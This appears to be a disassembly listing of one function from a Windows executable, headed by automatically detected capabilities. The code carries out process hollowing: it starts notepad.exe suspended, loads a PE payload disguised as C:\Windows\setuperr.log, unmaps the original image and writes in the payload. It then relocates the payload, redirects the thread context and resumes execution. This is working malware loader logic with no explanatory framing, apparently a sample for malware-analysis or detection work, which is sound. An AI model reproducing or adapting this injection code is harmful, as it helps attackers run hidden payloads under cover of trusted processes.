Function at 0x14002d630
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Inspect section memory permissions
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x14018e080]
xor rax, rsp
mov qword [rbp + 0x650], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
mov r8d, 0x17
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x498]
call fcn.140017540
nop
lea rcx, [rbp + 0x498]
call fcn.14002d480
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x14002d6e5
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d6e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002df46
call fcn.1400b3860
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x540]
call fcn.1400eb550
mov r8d, 0x22
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x540]
call fcn.140030480
nop
mov r13d, 2
cmp qword [rbp + 0x5c8], 0
je 0x14002d77d
lea rcx, [rbp + 0x540]
call fcn.140030840
lea rcx, [rbp + 0x548]
call fcn.140030f60
test rax, rax
jne 0x14002d77d
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x588], 0
cmovne eax, r13d
or eax, dword [rbp + rcx + 0x550]
and eax, 0x17
mov dword [rbp + rcx + 0x550], eax
mov edx, dword [rbp + rcx + 0x554]
and edx, eax
jne 0x14002df4c
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x540], rax
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x53c], edx
lea rcx, [rbp + 0x548]
call fcn.1400301e0
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x540], rax
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x53c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x5e8], rax
lea rcx, [rbp + 0x5e8]
call fcn.1400b29ac
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x4d4], xmm1
movups xmmword [rbp + 0x4e4], xmm1
movups xmmword [rbp + 0x4f4], xmm1
movups xmmword [rbp + 0x504], xmm1
movups xmmword [rbp + 0x514], xmm1
movups xmmword [rbp + 0x524], xmm1
mov dword [rbp + 0x534], eax
mov dword [rbp + 0x4d0], 0x68
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4d0]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windows_system32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14002d8a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_CreateProcessA__code___d_n
jmp 0x14002df07
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.C:Windows_setuperr.log
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14002defa
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14002d90a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_GetFileSizeEx__code___d_n
jmp 0x14002df07
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14002d941
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAlloc__code___d_n
jmp 0x14002df07
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x4b8]
mov r8d, dword [rbp - 0x50]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14002d973
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ReadFile__code___d_n
jmp 0x14002df07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd r14, dword [r15 + 0x3c]
add r14, r15
mov rsi, qword [r14 + 0x30]
mov qword [rsp + 0x60], rsi
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x40]
call fcn.1400eb550
mov dword [rbp - 0x10], 0x100002
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x14002d9c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_GetThreadContext__code___d_n
jmp 0x14002df07
mov rdi, qword [rbp + 0x48]
add rdi, 0x10
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp - 0x48]
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14002da14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.Error_at_ReadProcessMemory__0x_x__code___d_n
call fcn.1400325e0
jmp 0x14002df0e
mov rbx, qword [rbp - 0x48]
cmp rbx, rsi
jne 0x14002da59
lea rcx, [0x1401412a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140141610]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbx
mov rcx, qword [rbp - 0x68]
call rax
test eax, eax
je 0x14002da59
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_NtUnmapViewOfSection__code___d_n
jmp 0x14002df07
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, rsi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x14002dac7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x14002dab5
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x14002dac7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAllocEx__code___d_n
jmp 0x14002df07
cmp rbx, rax
je 0x14002db05
lea rax, [rbp + 0x498]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp - 0x70]
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002db05
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_WriteProcessMemory__code___d_n
jmp 0x14002df07
mov word [r14 + 0x5c], r13w
mov rcx, qword [rbp - 0x70]
cmp rcx, rsi
je 0x14002dc9e
test byte [r14 + 0x16], 1
je 0x14002db2f
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.1400325e0
jmp 0x14002df0e
mov qword [r14 + 0x30], rcx
mov r11d, dword [r14 + 0xb0]
movzx r10d, word [r14 + 0x14]
add r10, r14
mov ebx, r12d
mov r8d, r12d
movzx edi, word [r14 + 6]
test edi, edi
je 0x14002db84
mov eax, r8d
lea rdx, [rax + rax*4]
mov r9d, dword [r10 + rdx*8 + 0x24]
cmp r11d, r9d
jb 0x14002db6f
mov ecx, dword [r10 + rdx*8 + 0x20]
add ecx, r9d
cmp r11d, ecx
jb 0x14002db79
inc r8d
cmp r8d, edi
jb 0x14002db51
jmp 0x14002db84
mov ebx, dword [r10 + rdx*8 + 0x2c]
sub ebx, r9d
add ebx, r11d
mov edx, ebx
add rdx, r15
mov qword [rbp + 0x498], rdx
mov ecx, dword [r14 + 0xb4]
mov dword [rsp + 0x54], ecx
mov eax, r12d
mov dword [rsp + 0x50], eax
test ecx, ecx
je 0x14002dc9a
mov r8d, 0xfff
mov r13d, eax
add r13, rdx
lea rsi, [r13 + 8]
mov eax, dword [r13 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14002dc7b
mov r15d, eax
movzx ecx, word [rsi]
movzx eax, cx
shr ax, 0xc
and cx, r8w
cmp ax, 3
je 0x14002dbee
cmp ax, 0xa
jne 0x14002dc62
movzx r10d, cx
add r10d, dword [r13]
movzx r11d, word [r14 + 0x14]
add r11, r14
mov edi, r12d
mov r8d, r12d
movzx ebx, word [r14 + 6]
test ebx, ebx
je 0x14002dc43
nop dword [rax]
mov eax, r8d
lea rax, [rax + rax*4]
mov r9d, dword [r11 + rax*8 + 0x24]
cmp r10d, r9d
jb 0x14002dc2e
mov edx, dword [r11 + rax*8 + 0x20]
add edx, r9d
cmp r10d, edx
jb 0x14002dc38
inc r8d
cmp r8d, ebx
jb 0x14002dc10
jmp 0x14002dc43
mov edi, dword [r11 + rax*8 + 0x2c]
sub edi, r9d
add edi, r10d
mov edx, edi
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdx]
sub rcx, qword [rsp + 0x60]
mov qword [rdx], rcx
add rcx, qword [rbp - 0x70]
mov qword [rdx], rcx
mov r8d, 0xfff
add rsi, 2
sub r15, 1
jne 0x14002dbd0
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rbp + 0x498]
mov eax, dword [rsp + 0x50]
add eax, dword [r13 + 4]
mov dword [rsp + 0x50], eax
cmp eax, ecx
jb 0x14002dbb0
mov r15, qword [rsp + 0x58]
mov r13d, 2
mov rcx, qword [rbp - 0x70]
mov eax, dword [r14 + 0x28]
add rax, rcx
mov qword [rbp + 0x40], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14002dccd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_SetThreadContext__code___d_n
jmp 0x14002df07
mov r9d, dword [r14 + 0x54]
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x20], rax
mov r8, r15
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002daf3
mov r8d, dword [r14 + 0x54]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
mov r9d, r13d
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14002dd2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualProtectEx__code___d_n
jmp 0x14002df07
movsxd rbx, dword [r15 + 0x3c]
add rbx, 0x114
cmp r12w, word [r14 + 6]
jae 0x14002de5c
add rbx, r15
nop word [rax + rax]
mov r9d, dword [rbx + 4]
mov r8d, dword [rbx + 8]
add r8, r15
mov edx, dword [rbx]
add rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002daf3
movzx eax, word [r14 + 6]
dec eax
mov r10d, dword [rbx]
cmp r12d, eax
jne 0x14002dd94
mov edx, dword [r14 + 0x50]
jmp 0x14002dd97
mov edx, dword [rbx + 0x28]
sub edx, r10d
mov ecx, dword [rbx + 0x18]
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x14002ddb3
mov r9d, 0x40
jmp 0x14002de1f
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x14002ddc9
mov r9d, 0x20
jmp 0x14002de1f
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x14002dddf
mov r9d, 0x80
jmp 0x14002de1f
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x14002ddf5
mov r9d, 4
jmp 0x14002de1f
bt ecx, 0x1d
jae 0x14002de03
mov r9d, 0x10
jmp 0x14002de1f
bt ecx, 0x1e
jae 0x14002de0e
mov r9d, r13d
jmp 0x14002de1f
mov r9d, 1
test ecx, ecx
mov eax, 8
cmovs r9d, eax
mov r8d, edx
mov edx, r10d
add rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14002dd1b
inc r12d
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp r12d, eax
jl 0x14002dd50
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14002de7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ResumeThread__code___d_n
jmp 0x14002df07
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
mov r8d, 0x17
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x498]
call fcn.140017540
nop
lea rcx, [rbp + 0x498]
call fcn.14002d480
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x14002def6
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002def1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002df40
call fcn.1400b3860
mov al, 1
jmp 0x14002df10
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_CreateFileA__code___d_n
mov edx, eax
call fcn.1400325e0
xor al, al
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400b3840
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c4ef4
int3
call fcn.1400c4ef4
nop
test dl, 4
je 0x14002df5a
lea rbx, [0x14017a8f8]
jmp 0x14002df6f
test r13b, dl
lea rbx, [0x14017a910]
lea rax, [0x14017a928]
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x498]
call fcn.1400322f0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140032100
lea rdx, [0x14018c5d0]
lea rcx, [rsp + 0x68]
call fcn.1400b5c10
int3